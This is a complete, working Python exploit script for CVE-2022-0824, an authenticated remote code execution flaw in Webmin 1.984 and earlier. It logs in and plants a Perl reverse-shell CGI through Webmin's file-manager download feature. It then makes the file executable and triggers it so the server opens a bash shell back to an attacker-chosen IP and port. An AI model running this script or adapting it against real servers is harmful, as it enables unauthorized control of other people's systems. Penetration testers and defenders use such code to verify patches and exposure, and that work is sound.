# Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated) # Date: 2022-03-06 # Exploit Author: faisalfs10x (https://github.com/faisalfs10x) # Vendor Homepage: https://www.webmin.com/ # Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip # Version: <= 1.984 # Tested on: Ubuntu 18 # Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell #!/usr/bin/python3 """ Coded by: @faisalfs10x GitHub: https://github.com/faisalfs10x Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/ """ import requests import urllib3 import argparse import os import time urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TGREEN = '\033[32m' TRED = '\033[31m' TCYAN = '\033[36m' TSHELL = '\033[32;1m' ENDC = '\033[m' class Exploit(object): def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname): self.target = target self.username = username self.password = password self.py3http_server = py3http_server self.pyhttp_port = pyhttp_port self.upload_path = upload_path self.callback_ip = callback_ip self.callback_port = callback_port self.fname = fname #self.proxies = proxies self.s = requests.Session() def gen_payload(self): payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''') print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC) f = open(f"{self.fname}", "w") f.write(payload) f.close() def login(self): login_url = self.target + "/session_login.cgi" cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" } data = { 'user' : self.username, 'pass' : self.password } try: r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10) success_message = 'System hostname' if success_message in r.text: print(TGREEN + "[+] Login Successful", ENDC) else: print(TRED +"[-] Login Failed", ENDC) exit() except requests.Timeout as e: print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC) exit() def pyhttp_server(self): print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n') os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up print('[+] Sleep 3 second to ensure http server is up!') time.sleep(3) # Sleep for 3 seconds to ensure http server is up! def download_remote_url(self): download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin" headers = { "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Referer": self.target + "/filemin/?xnavigation=1" } data = { 'link': "http://" + self.py3http_server + "/" + self.fname, 'username': '', 'password': '', 'path': self.upload_path } r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True) print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}") def modify_permission(self): modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30" headers = { "Referer": self.target + "/filemin/?xnavigation=1" } data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path } r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True) print(f"[+] Modifying permission of {self.fname} to 0755") def exec_revshell(self): url = self.target + '/' + self.fname try: r = self.s.get(url, verify=False, allow_redirects=True, timeout=3) except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned! print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC) print("[+] Shell location: " + url) else: print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC) def do_cleanup(self): print(TCYAN + '\n[+] Cleaning up ') print(f'[+] Killing: http.server on port {self.pyhttp_port}') os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})') exit() def run(self): self.gen_payload() self.login() self.pyhttp_server() self.download_remote_url() self.modify_permission() self.exec_revshell() self.do_cleanup() if __name__ == "__main__": parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell') parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000') parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123') parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080') parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell') parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell') parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0') args = parser.parse_args() target = args.target username = args.credential.split(':')[0] password = args.credential.split(':')[1] py3http_server = args.py3http_server pyhttp_port = py3http_server.split(':')[1] callback_ip = args.callback_ip callback_port = args.callback_port upload_path = "/usr/share/webmin" # the default installation of Webmin Debian Package, may be in different location if installed using other method. fname = "revshell.cgi" # CGI script name, you may change to different name pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname) pwn.run()